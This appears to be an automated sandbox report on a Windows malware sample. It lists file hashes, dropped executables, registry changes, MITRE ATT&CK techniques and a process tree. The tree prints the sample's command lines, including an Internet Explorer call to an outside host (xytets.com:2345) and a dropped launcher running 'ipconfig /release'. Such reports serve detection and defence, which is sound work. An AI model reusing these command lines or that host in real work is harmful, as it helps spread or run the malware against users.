b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3

Analysis

max time kernel
150s
max time network
192s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
03-12-2022 17:58

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General

Target

b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
Size

361KB
MD5

fd8d85539a43f9fa24539a11251b8028
SHA1

21606b28e4988875a2d51d8979ee130034d0a9da
SHA256

b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3
SHA512

9d4ab1e0c00156e49691228853474b876049c2966f78f02aabd0930a3fdc2b5043adc5420cf5fd373dbaea1de571c00e3853aa0869fb3a87f75efbcd79566ece
SSDEEP

6144:VflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:VflfAsiVGjSGecvX

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
948	dxqmgcngdwsmfbvj.exe
1496	CreateProcess.exe
1328	rakrbiscis.exe
1404	CreateProcess.exe
1888	CreateProcess.exe

Loads dropped DLL 5 IoCs

pid	Process
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
1328	rakrbiscis.exe
948	dxqmgcngdwsmfbvj.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1840	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{8FDC60B1-75BE-11ED-AD63-CED6325FB9F2} = "0"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
948	dxqmgcngdwsmfbvj.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe
1328	rakrbiscis.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
340	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
340	iexplore.exe
340	iexplore.exe
1592	IEXPLORE.EXE
1592	IEXPLORE.EXE
1592	IEXPLORE.EXE
1592	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 948	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	28
PID 1192 wrote to memory of 948	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	28
PID 1192 wrote to memory of 948	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	28
PID 1192 wrote to memory of 948	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	28
PID 1192 wrote to memory of 340	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	29
PID 1192 wrote to memory of 340	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	29
PID 1192 wrote to memory of 340	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	29
PID 1192 wrote to memory of 340	1192	b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe	29
PID 340 wrote to memory of 1592	340	iexplore.exe	31
PID 340 wrote to memory of 1592	340	iexplore.exe	31
PID 340 wrote to memory of 1592	340	iexplore.exe	31
PID 340 wrote to memory of 1592	340	iexplore.exe	31
PID 948 wrote to memory of 1496	948	dxqmgcngdwsmfbvj.exe	33
PID 948 wrote to memory of 1496	948	dxqmgcngdwsmfbvj.exe	33
PID 948 wrote to memory of 1496	948	dxqmgcngdwsmfbvj.exe	33
PID 948 wrote to memory of 1496	948	dxqmgcngdwsmfbvj.exe	33
PID 1328 wrote to memory of 1404	1328	rakrbiscis.exe	35
PID 1328 wrote to memory of 1404	1328	rakrbiscis.exe	35
PID 1328 wrote to memory of 1404	1328	rakrbiscis.exe	35
PID 1328 wrote to memory of 1404	1328	rakrbiscis.exe	35
PID 948 wrote to memory of 1888	948	dxqmgcngdwsmfbvj.exe	38
PID 948 wrote to memory of 1888	948	dxqmgcngdwsmfbvj.exe	38
PID 948 wrote to memory of 1888	948	dxqmgcngdwsmfbvj.exe	38
PID 948 wrote to memory of 1888	948	dxqmgcngdwsmfbvj.exe	38

C:\Users\Admin\AppData\Local\Temp\b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe
"C:\Users\Admin\AppData\Local\Temp\b55c0b5263ed79a740fd0cc67a921cf06c55c68cf39480b173086e5aba233dd3.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Temp\dxqmgcngdwsmfbvj.exe
  C:\Temp\dxqmgcngdwsmfbvj.exe run
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rakrbiscis.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1496
  - - C:\Temp\rakrbiscis.exe
      C:\Temp\rakrbiscis.exe ups_run
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1328
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1404
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rakrbiscis.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1888
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:340
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:340 CREDAT:275457 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
C:\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
C:\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
C:\Temp\dxqmgcngdwsmfbvj.exe

Filesize
361KB

MD5
97fb51ef1982726fa3dd804ce069ba7b

SHA1
0aa34217345f52149cc810c5e3b4393858fc05b4

SHA256
68345430dfdd06c6336e082ff8f5b3bd310660c46e77d20ae2ea292680c047e1

SHA512
43c28b2109cd9ff393b2fc478c88a05bfb92e2184de9bb42d04598f761b3fec3994d32505e9c013f2b2f36072f31ca9bb9078520212a445105fa5ccd38e006ed

Download Submit
C:\Temp\dxqmgcngdwsmfbvj.exe

Filesize
361KB

MD5
97fb51ef1982726fa3dd804ce069ba7b

SHA1
0aa34217345f52149cc810c5e3b4393858fc05b4

SHA256
68345430dfdd06c6336e082ff8f5b3bd310660c46e77d20ae2ea292680c047e1

SHA512
43c28b2109cd9ff393b2fc478c88a05bfb92e2184de9bb42d04598f761b3fec3994d32505e9c013f2b2f36072f31ca9bb9078520212a445105fa5ccd38e006ed

Download Submit
C:\Temp\rakrbiscis.exe

Filesize
361KB

MD5
295e4d25c0d2c3cbf63024e8ce3c8a8a

SHA1
82b40ea71ecc456c3b3bb284c648494b321bce98

SHA256
fa82ba78fb1195008d75863a1b1fb55636dbbf07d8dbd0f7463d65c60abef5a6

SHA512
012eb3e524d06e04cf6a8bc15aec61bc4164f436d65851fa121d48dabcdf360817150a880a403cdd69c73f9eb726c0a7d5cc017c272c2294f1caf52d35ab0e70

Download Submit
C:\temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
dad379a9726ed5605481ede0c627da1b

SHA1
94f6fb848462ef76ffed47760459128f435fa602

SHA256
41f759709c9c71a83cbb2a8afb5fbbe46c800f7a45100ea3ff8d0a94b12a9bae

SHA512
ff5dafede547f85ceb0a866b93355403755e96dd8c2a83e953768defc2966e29081d4af27c6910b93da511fb274bdfb74008f0f177ccde2e0f85c34ad3c6ac7b

Download Submit
\Temp\dxqmgcngdwsmfbvj.exe

Filesize
361KB

MD5
97fb51ef1982726fa3dd804ce069ba7b

SHA1
0aa34217345f52149cc810c5e3b4393858fc05b4

SHA256
68345430dfdd06c6336e082ff8f5b3bd310660c46e77d20ae2ea292680c047e1

SHA512
43c28b2109cd9ff393b2fc478c88a05bfb92e2184de9bb42d04598f761b3fec3994d32505e9c013f2b2f36072f31ca9bb9078520212a445105fa5ccd38e006ed

Download Submit
memory/948-55-0x0000000000000000-mapping.dmp

Download
memory/1404-65-0x0000000000000000-mapping.dmp

Download
memory/1496-61-0x0000000000000000-mapping.dmp

Download
memory/1888-68-0x0000000000000000-mapping.dmp

Download